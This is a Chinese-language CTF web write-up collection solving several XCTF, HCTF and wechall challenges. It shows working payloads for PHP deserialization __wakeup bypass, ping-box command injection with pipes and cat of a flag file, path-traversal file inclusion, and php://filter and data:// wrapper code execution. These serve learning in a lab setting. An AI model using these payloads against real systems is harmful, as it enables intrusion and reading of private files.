记录CTF的web WP
攻防世界 unserialize3
打开环境。 简单的看一下代码。
class xctf{ public $flag = '111'; public function __wakeup(){ exit('bad requests'); } ?code=根据题目提示和__wakeup魔术方法(序列化和反序列化有一系列的魔术方法) 知道利用的应该是反序列化漏洞。
__wakeup 函数会在反序列化的时候自动调用。
简单的审计一下代码,首先一个xctf类,public元素$flag,调用__wakeup函数会直接返回bad request中断执行。
打开phpstorm,将代码粘贴进去。
<?php class xctf { public $flag = '111'; public function __wakeup() { exit('bad requests'); } }首先创建xctf的类(因为序列化漏洞在这里面,所以要创建)。
如下
<?php class xctf { public $flag = '111'; public function __wakeup() { exit('bad requests'); } } $code = new xctf(); echo serialize($code);运行一下,得到 就可以进行漏洞利用了。
简单说一下反序列化漏洞,在php中反序列化有许多的魔术方法,__wakeup就是其中一个,该函数会在unserialize的时候自动调用,但是如果出现错误就不会调用该函数,于是可以恶意构造错误的反序列化对象来对漏洞进行利用。
这里原来的是O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;} 对xctf后面的1进行更改即可利用,把1改成2,最后在code传参,看看能得到flag吗。。。。
成功的到flag!
攻防世界 Web_php_unserialize 趁热打铁再来一个反序列化的题目 一样的打开环境,直接看见源代码 <?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); } ?>初步定为到Demo类的__wakeup 和 后面的if 判断里的unserialize
简要的代码分析。 传参var 经过base64 加密 正则表达式匹配绕过,到unserialize就可以得到flag了(猜测) 而看上面的Demo 可以自己设置file参数,但是__wakeup会更改,而题目提示我们secret在fl4g.php里面!所以我们大概知道了是要利用反序列化漏洞去传入fl4g.php这个参数。 同样的,去phpstorm里面,调试一下。
en…遇到了难题,这里的正则表达式好像和平时的不太一样,于是只好启动万能的搜索引擎!
搜索发现这种事Perl的正则匹配标准。附上链接 Perl正则匹配
分析这里的正则表达式。
/[oc]:\d+:/ii 表示不区分大小写 [oc]表示匹配符合 oc 的字符 \d+匹配多个数字 ok大概知道了是什么意思,具体怎么绕过,要先看一下,输出的结果。 O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;} 这里符合的在第一个 O:4 利用php的替换函数改一下,或者手动改
替换函数 str_replace('O:4','O:+4',$C); //此处是绕过 str_replace(':1:',':2:',$C);//此处是漏洞利用$c是变量
2. 手动 直接把O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;} 改成O:+4:“Demo”:2:{s:10:“Demofile”;s:8:“fl4g.php”;} 最后base64加密,有如下过程。
好吧上文已做出更正,发现并不可以,在Demofile 两侧出现的奇怪的字符,暂时不知道怎么办,希望有大佬看见指点一下!!!
$A = new Demo ('fl4g.php'); $C = serialize($A); $C = str_replace('O:4','O:+4',$C); //绕过正则表达式过滤 $C = str_replace(':1:',':2:',$C); echo base64_encode($C); //base64加密运行得到payload TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ== 传入试一下。 得到flag
<?php $flag="ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}"; ?> 攻防世界 command_execution(代码执行) 我来更新了! 首先打开环境,看见一个输入框,下边有一个Ping 不由自主地想到rce代码执行,贴一个知识点。 windows或linux下:command1 && command2 先执行command1,如果为真,再执行command2
command1 | command2 只执行command2
command1 & command2 先执行command2后执行command1
command1 || command2 先执行command1,如果为假,再执行command2命令执行漏洞(| || & && 称为管道符)
首先试一下127.0.0.1 出现了一行这样的代码,确定了,果然是远程命令执行,好像还没有waf 继续尝试 127.0.0.1 | ls 查看目录文件,发现了一个 index.php,额但是好像我们就在这个目录下欸,得不到有用信息。 想着,反正是Linux命令,尝试一下寻找? 附上一个链接 先猜测一波,有flag.php 或者 flag.txt 尝试一下 find / -name “flag.txt” 发现有这个文件而且目录是 /home/flag.txt 芜湖!直接 cat /home/flag.txt 即可的到flag
这个代码执行好像难度都不低啊,要熟练的使用各种linux操作命令,嗯。。。看到一个记一个吧,学费了 find / -name xxxx
HCTF warm up 进去看见一个滑稽,这是在嘲讽我吗。。。 页面上无信息,F12看源码,发现一个隐藏的source.php 发现泄露的源码。 <?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', \'?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>里面有一个hint.php查看一下 flag not here, and flag in ffffllllaaaagggg 发现include函数,应该是文件包含,看if的条件,首先是要为字符串,其次 emmm::checkfile返回true,看一下上面那个类。
首先有1个白名单
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];参数在里面直接返回true(没用) 再继续看。关键地方了
$_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; }mb_sbustr函数截取page,只保存?之前的并且返回给page,如果这个page在白名单,那么就返回true。
构造一个payload ?file=source?ffffllllaaaagggg 失败。。。 再仔细看一下这个函数 page, 0 , mb_strpos(page.?, ?) 明显就是告诉我们?号有猫腻,那要怎么利用呢。。。 后来发现,居然是没有用 source.php。。。 payload = ?file=source.php?ffffllllaaaagggg
回显是空的,就知道了,函数被绕过成功了。这里文件包含,嗯…不在ffffllllaaaagggg里面,就是好返回上级目录看了,
?file=source.php?../…/…/…/…/…/…/…/ffffllllaaaagggg
这里的…/可以一个一个往上尝试,一般不多,但是由四个flag可以猜测是四层.
5. XCTF Web_php_include 来一个文件包含的题目 打开环境还是直接看到源码,阅读一下。
<?php show_source(__FILE__); echo $_GET['hello']; $page=$_GET['page']; while (strstr($page, "php://")) { $page=str_replace("php://", "", $page); } include($page); ?>很简单,禁止了php://协议而已,大小写就可以绕过了。 直接上手 ?page=Php://filter/read=convert.base64-encode/resource=index.php 先查看一下源码,看看flag有没有被注释在源码里面,解密查看后发现没有什么信息。
PD9waHAKc2hvd19zb3VyY2UoX19GSUxFX18pOwplY2hvICRfR0VUWydoZWxsbyddOwokcGFnZT0kX0dFVFsncGFnZSddOwp3aGlsZSAoc3Ryc3RyKCRwYWdlLCAicGhwOi8vIikpIHsKCSRwYWdlPXN0cl9yZXBsYWNlKCJwaHA6Ly8iLCAiIiwgJHBhZ2UpOwp9CmluY2x1ZGUoJHBhZ2UpOwo/Pgo=
那么再试一波 flag.php,flag.txt发现都不存在。 这时候想到了查看目录,嗯…data:text/plain,<?php php语句?> 这个可以伪协议执行php语句,于是有
?page=data:text/plain,<?php system('ls')?>
成功查看目录 fl4gisisish3r3.php index.php phpinfo.php
最后php伪协议包含,得到了flag
5. wechall 的 php0817 一个简单的代码审计,但是有一个很容易忽略的逻辑点,所以选择记录下来
<?php if (isset($_GET['which'])) { $which = $_GET['which']; switch ($which) { case 0: case 1: case 2: require_once $which.'.php'; break; default: echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false); break; } } ?>提示,包含solution.php文件查看代码发现,which会被进行一个switch筛选,但是这个筛选是弱比较类型,此外case:里面如果没有写break那么case判断一旦满足会不停的执行下面的case代码,直到遇到break为止。 所以此处,直接?which=solution即可得到flag
简单的一个代码审计 <?php $flag = "flag"; if (isset ($_GET['ctf'])) { if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE) echo '必须输入数字才行'; else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE) die('Flag: '.$flag); else echo '骚年,继续努力吧啊~'; } ?> 本来来一看人就傻了,这个ereg根本搜不到什么,而且最怕正则了。。。分析一下,正则是数字开头,数字结尾。那么就全为数字? 又来一个strpos,匹配#biubiubiu。 还是百度,发现了一个ereg的漏洞,ereg匹配正则表达式的时候,会遇到 截断,那么就可以绕过正则了!!!, 标记一下,web题目遇到这类题,都可以考虑 截断漏洞,要么就搜索,进行现有的漏洞利用。
攻防世界NaNNaNNaNNaN-Batman 下载附件,Javascript代码审计 从来没碰见过javascript的代码审计,于是乎百度,发现 把eval()改成console.log()就可以把代码排列还原 试了一下得到如下代码 <script>function $(){ var e=document.getElementById("c").value; if(e.length==16) if(e.match(/^be0f23/)!=null) if(e.match(/233ac/)!=null) if(e.match(/e98aa$/)!=null) if(e.match(/c7be9/)!=null){ var t=["fl","s_a","i","e}"]; var n=["a","_h0l","n"]; var r=["g{","e","_0"]; var i=["it'","_","n"]; var s=[t,n,r,i]; for(var o=0;o<13;++o){ document.write(s[o%4][0]); s[o%4].splice(0,1) } } } document.write('<input id="c"><button οnclick=$()>Ok</button>'); delete _ </script>中心点在五个if循环里面的for循环,按次序输出列表内容就得到flag 此时,可以审计代码,满足if条件,输入到文本框,然后输出。 或者直接对源代码python逆向for循环亦或者直接手动复制,都可以的到flag flag{it’s_a_h01e_in_0ne}